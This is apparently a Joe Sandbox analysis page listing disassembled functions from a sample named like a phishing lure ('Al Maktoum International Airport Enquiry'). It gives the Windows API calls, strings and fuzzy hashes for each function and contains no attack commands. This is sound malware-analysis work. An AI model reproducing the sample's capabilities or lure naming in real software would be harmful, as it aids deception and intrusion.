Function 00CE2F86 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9FEC6: _wcscpy.LIBCMT ref: 00C9FEE9

_memset.LIBCMT ref: 00CE3077
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00CE30A6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00CE3159
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00CE3187

Strings

0, xrefs: 00CE3063

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 28689ebf6d09888c7907e0798b037e254eb144fb4ac7dff0c5fd714fec98d55f
Instruction ID: 6dd9a6664c56044b6009f9edee8c8e51711176ad4357dba25e4e725c2a9bf31a
Opcode Fuzzy Hash: 28689ebf6d09888c7907e0798b037e254eb144fb4ac7dff0c5fd714fec98d55f
Instruction Fuzzy Hash: AC51C0316083C19BD7259F2AC849A6FB7E8EF45364F04092DF8A5D32A1DB70EF449752

Function 00CDDA5D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00CDDAC5
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00CDDAFB
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00CDDB0C
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00CDDB8E

Strings

DllGetClassObject, xrefs: 00CDDB01

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 7e26349916d32be09a0e175f2ba82075c8af04f2bdf4caf8cb1eba2573ad68bc
Instruction ID: dd8f3580c657e5f49e78ee1b95458cb89152efd898ebecf14a15558ebcb6a4d3
Opcode Fuzzy Hash: 7e26349916d32be09a0e175f2ba82075c8af04f2bdf4caf8cb1eba2573ad68bc
Instruction Fuzzy Hash: 1A4150B1A00304EFDB15CF55C884A9ABBA9EF44354F1581ABAE0A9F305D7B1DA44DBA0

Function 00CE2C42 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE2CAF
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00CE2CCB
DeleteMenu.USER32(?,00000007,00000000), ref: 00CE2D11
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00D46890,00000000), ref: 00CE2D5A

Strings

0, xrefs: 00CE2CA4

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 95b8c00ec9f70d14c8de6125b371b06b78b71048d9e077c606e5d0f86e4f67f0
Instruction ID: 3255aa49830f20ed96440d218e98e90637c0a3e397fd41dd968702cbc6303b07
Opcode Fuzzy Hash: 95b8c00ec9f70d14c8de6125b371b06b78b71048d9e077c606e5d0f86e4f67f0
Instruction Fuzzy Hash: A7418E702043829FD724DF25DC45B1ABBE9EF85320F14461DFA65D7291D770EA04CBA2

Function 00CFDAB9 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00CFDAD9

Part of subcall function 00C879AB: _memmove.LIBCMT ref: 00C879F9

Strings

winapi, xrefs: 00CFDB4A
cdecl, xrefs: 00CFDB30
none, xrefs: 00CFDBB4
stdcall, xrefs: 00CFDB5B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 7b13614c7bb67a0f9d5b2ec9b80b88e7d9a16cd94cc21007817d1a4e0017c19c
Instruction ID: 021aaefb0214a5cdaa46cb201e50b90c55f97d85a7ae623e1205618c578713b9
Opcode Fuzzy Hash: 7b13614c7bb67a0f9d5b2ec9b80b88e7d9a16cd94cc21007817d1a4e0017c19c
Instruction Fuzzy Hash: 3931AE7190021AABCF00EF54C8809BEB3B5FF05314B10862AE936977D1DB71EA06DB90

Function 00CD9372 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Part of subcall function 00CDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB0E7

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00CD93F6
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00CD9409
SendMessageW.USER32(?,00000189,?,00000000), ref: 00CD9439

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

Strings

ComboBox, xrefs: 00CD9380
ListBox, xrefs: 00CD93B5

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: a8e82a16ef6c018f87ffef3358fe631e80ff2d1792baac174923096230b7c2ae
Instruction ID: 36c75aab37acacc9632b8183dd3d119f8c20897ef73799946d59f3820d36149b
Opcode Fuzzy Hash: a8e82a16ef6c018f87ffef3358fe631e80ff2d1792baac174923096230b7c2ae
Instruction Fuzzy Hash: A0210175900204AEDB14ABB0CC859FFB768DF05364B20422AFA25972E1DB355E0AA720

Function 00CF1B21 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00CF1B40
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CF1B66
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00CF1B96
InternetCloseHandle.WININET(00000000), ref: 00CF1BDD

Part of subcall function 00CF2777: GetLastError.KERNEL32(?,?,00CF1B0B,00000000,00000000,00000001), ref: 00CF278C
Part of subcall function 00CF2777: SetEvent.KERNEL32(?,?,00CF1B0B,00000000,00000000,00000001), ref: 00CF27A1

Strings

, xrefs: 00CF1B87

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: ddc0a41e1f8100c59f5dea57724eac0f61084ca4228d542b45ac24b90f4a501b
Instruction ID: f2262196b7e870b8039a7a7875fc5208ef8cfa03ff55b104eb7123194442f955
Opcode Fuzzy Hash: ddc0a41e1f8100c59f5dea57724eac0f61084ca4228d542b45ac24b90f4a501b
Instruction Fuzzy Hash: 5621BEB150020CFFEB619F21CC85EBB77ECEB89744F14012AFA05E2240EA209E0597B2

Function 00D06656 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C81D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00C81D73
Part of subcall function 00C81D35: GetStockObject.GDI32(00000011), ref: 00C81D87
Part of subcall function 00C81D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00C81D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00D066D0
LoadLibraryW.KERNEL32(?), ref: 00D066D7
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00D066EC
DestroyWindow.USER32(?), ref: 00D066F4

Strings

SysAnimate32, xrefs: 00D066AB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 61ababaebb795f20b217f521c2a77e7048addf8447d29b7c67cc952c2761550c
Instruction ID: 58996798a23ec2042b4168c98cc878ab46d69f1cdcccd62d00e6246469add7ed
Opcode Fuzzy Hash: 61ababaebb795f20b217f521c2a77e7048addf8447d29b7c67cc952c2761550c
Instruction Fuzzy Hash: 33218B71200206AFEF104F64EC80FAB37ADEB59368FA44629FA59D21E0D772CC619770

Function 00CE703E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00CE705E
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00CE7091
GetStdHandle.KERNEL32(0000000C), ref: 00CE70A3
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00CE70DD

Strings

nul, xrefs: 00CE70D8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 4632f397794e1fbc1051efa5e38caa39ce14e141e2aeb25ce1cf9d0e9c3baca2
Instruction ID: 1f2b2e778f0c5a97941992ffe02155f1338a2232913acee67c39abf2f37ce799
Opcode Fuzzy Hash: 4632f397794e1fbc1051efa5e38caa39ce14e141e2aeb25ce1cf9d0e9c3baca2
Instruction Fuzzy Hash: 30215E74604349ABDF209F7ADC05B9A7BA8AF54720F204B19FCB5D72D0E7B09A509B60

Function 00CE710C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00CE712B
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00CE715D
GetStdHandle.KERNEL32(000000F6), ref: 00CE716E
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00CE71A8

Strings

nul, xrefs: 00CE71A3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 8c7ee4cd0b81ab0efb0ef8146a16b637285c3e9d2eaef3b2c238285d20375edd
Instruction ID: cb9dc1244b7ea9da50a84787b529145a23a001fd872f72442659d955ac92c027
Opcode Fuzzy Hash: 8c7ee4cd0b81ab0efb0ef8146a16b637285c3e9d2eaef3b2c238285d20375edd
Instruction Fuzzy Hash: 0A21AF75604385ABDB209F6A9C04BAEB7A8AF55730F200B19FCF9D32D0D77099418B61

Function 00CEAEAB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CEAEBF
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00CEAF13
__swprintf.LIBCMT ref: 00CEAF2C
SetErrorMode.KERNEL32(00000000,00000001,00000000,00D0F910), ref: 00CEAF6A

Strings

%lu, xrefs: 00CEAF26

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 6593023c2e85845d7f7d3a201041d74445b891d7fbf8434a01eadfc88fefe147
Instruction ID: f571dc870142dc6222cc2642fa789d519ac218a205d07cf2a757aff7968daf32
Opcode Fuzzy Hash: 6593023c2e85845d7f7d3a201041d74445b891d7fbf8434a01eadfc88fefe147
Instruction Fuzzy Hash: 57217131A00249AFCB10EF65CC85EEE7BB8EF89704B144069F909EB351DB71EA45DB61

Function 00CDA52F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

Part of subcall function 00CDA37C: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00CDA399
Part of subcall function 00CDA37C: GetWindowThreadProcessId.USER32(?,00000000), ref: 00CDA3AC
Part of subcall function 00CDA37C: GetCurrentThreadId.KERNEL32 ref: 00CDA3B3
Part of subcall function 00CDA37C: AttachThreadInput.USER32(00000000), ref: 00CDA3BA

GetFocus.USER32 ref: 00CDA554

Part of subcall function 00CDA3C5: GetParent.USER32(?), ref: 00CDA3D3

GetClassNameW.USER32(?,?,00000100), ref: 00CDA59D
EnumChildWindows.USER32(?,00CDA615), ref: 00CDA5C5
__swprintf.LIBCMT ref: 00CDA5DF

Strings

%s%d, xrefs: 00CDA5D9

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 1d7332562cd0ffe09f49aae1aeb1b19e2a98d3f15518ba2f7aeb206110216881
Instruction ID: eaf2c21d25aed5db139002e9f437ebd22391e96d5f104510ab5036014f1eb0ef
Opcode Fuzzy Hash: 1d7332562cd0ffe09f49aae1aeb1b19e2a98d3f15518ba2f7aeb206110216881
Instruction Fuzzy Hash: D211B471200309BBDF217F64DC85FEA3779AF48700F14407ABA0CAA292DA7499469B75

Function 00CE2017 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00CE2048

Strings

EXISTS, xrefs: 00CE2070
APPEND, xrefs: 00CE2081
KEYS, xrefs: 00CE205F
REMOVE, xrefs: 00CE204E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 92caefb87a985cb506d72dadf35c3ebddb56f133e9bf3b299c65ef49eed3d769
Instruction ID: ce0776064a34d249c48239a4da7f9816074d948a12cc7223d449546eaa94972c
Opcode Fuzzy Hash: 92caefb87a985cb506d72dadf35c3ebddb56f133e9bf3b299c65ef49eed3d769
Instruction Fuzzy Hash: 4E115E7190020A8FCF00EFA5D8815FEB7B4FF56308F608469D855A7391EB325A06EB50

Function 00CFEE69 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00CFEF1B
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00CFEF4B
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00CFF07E
CloseHandle.KERNEL32(?), ref: 00CFF0FF

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 0dc927f0c7d72ebddd0b3337f31b528536657b50ca9f1e71b3e1b523a9877929
Instruction ID: 3711181badee5e5a947a51c64cbc0e9e312ccdcbc6c84eed1a0f2dbee6050182
Opcode Fuzzy Hash: 0dc927f0c7d72ebddd0b3337f31b528536657b50ca9f1e71b3e1b523a9877929
Instruction Fuzzy Hash: B28171716043009FD724EF24C886F6AB7E5EF48724F14882DF69ADB392DB70AD019B56

Function 00D002C2 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Part of subcall function 00D010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D00038,?,?), ref: 00D010BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D00388
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D003C7
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00D0040E
RegCloseKey.ADVAPI32(?,?), ref: 00D0043A
RegCloseKey.ADVAPI32(00000000), ref: 00D00447

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: fbc6daca522fd21076f7b2dc263e6fa561000927646f007c6a3fe943b5b3c37f
Instruction ID: ecf5838a82d5ee2f67082e75d3cd551dcc17f0159114e50a4623bc09cd76100e
Opcode Fuzzy Hash: fbc6daca522fd21076f7b2dc263e6fa561000927646f007c6a3fe943b5b3c37f
Instruction Fuzzy Hash: 36515B31208204AFD714EF64C881F6EBBE8FF84708F54892DF59987291DB30E904DB66

Function 00CFDBDC Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00CFDC3B
GetProcAddress.KERNEL32(00000000,?), ref: 00CFDCBE
GetProcAddress.KERNEL32(00000000,00000000), ref: 00CFDCDA
GetProcAddress.KERNEL32(00000000,?), ref: 00CFDD1B
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00CFDD35

Part of subcall function 00C85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00CE7B20,?,?,00000000), ref: 00C85B8C
Part of subcall function 00C85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00CE7B20,?,?,00000000,?,?), ref: 00C85BB0

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 2d11f04f7de3e42e87b38830e1b32b0a705580e81ec46153da67a7ee1e75903f
Instruction ID: 1b92f018b04107340846c4a53d5734f7334dd9a14d075fb82d2ecf289416825c
Opcode Fuzzy Hash: 2d11f04f7de3e42e87b38830e1b32b0a705580e81ec46153da67a7ee1e75903f
Instruction Fuzzy Hash: BC512935A00209DFCB00EF68C4849ADB7F5FF59314B188069E91AAB351DB71EE45DF92

Function 00CEE7DC Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00CEE88A
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00CEE8B3
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00CEE8F2

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00CEE917
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00CEE91F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

